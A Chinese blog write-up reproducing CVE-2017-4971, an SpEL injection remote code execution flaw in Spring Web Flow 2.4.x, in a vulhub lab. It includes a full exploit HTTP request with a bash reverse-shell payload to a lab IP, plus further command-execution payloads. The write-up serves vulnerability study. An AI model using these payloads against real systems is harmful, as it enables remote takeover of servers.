Featured image of post 【Spring Web】框架远程代码执行(CVE-2017-4971)

【Spring Web】框架远程代码执行(CVE-2017-4971)

文章共478字

漏洞简介

Spring Web Flow是Spring的一个子项目 , 主要目 的是解决跨越多个请求的、 用户与服务器之间的、有状态交互问题,提供了描述业务流程的抽象能力。
在其 2.4.x版本中, 如果我们控制了数据绑定时的field, 将导致一个SpEL表达式注入漏洞,从而造成任意命令执行。

影响版本

Spring Web Flow 2.4.0 - 2.4.4

触发漏洞需要的两个条件

1
2
3
1.MvcViewFactoryCreator对象的 useSpringBeanBinding参数需要设置为 false(默认值)

2.flow view对象中设置 BinderConfiguration对象为空

环境搭建

1
2
root@ubuntu:/mnt/vulhub/spring# cd CVE-2017-4971/
root@ubuntu:/mnt/vulhub/spring/CVE-2017-4971# docker-compose up -d

image.png

复现过程

点击Login,可以看大账号/密码,这里我们随便选择一个进行登录。

1
2
3
4
keith/melbourne
erwin/leuven
jeremy/atlanta
scott/rochester

image.png

访问id为1的酒店,点击”Book Hotel“预定按钮。
image.png
image.png
image.png
填写一些数据,点击Proceed按钮。
1234567912312312
image.png

image.png
在点击Confirm的时候进行抓包,此处存在命令执行,可反弹shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
POST /hotels/booking?execution=e2s2 HTTP/1.1
Host: 192.168.197.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 173
Origin: http://192.168.197.140:8080
Connection: keep-alive
Referer: http://192.168.197.140:8080/hotels/booking?execution=e2s2
Cookie: JSESSIONID=4652D2318569E57A87C35C86F4391EDD
Upgrade-Insecure-Requests: 1
Priority: u=0, i

_eventId_confirm=&_csrf=9285d191-3a38-4790-a4e0-8862b1bde6c6&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.197.129/10086+0>%261")).start()=vulhub

反弹Shell代码:

1
&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.197.129/10086+0>%261")).start()=vulhub

image.png

EXP拓展

执行命令

1
2
3
&_T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
或者
&_(new+java.lang.ProcessBuilder("touch /tmp/success2")).start()=test
站点已运行计算中...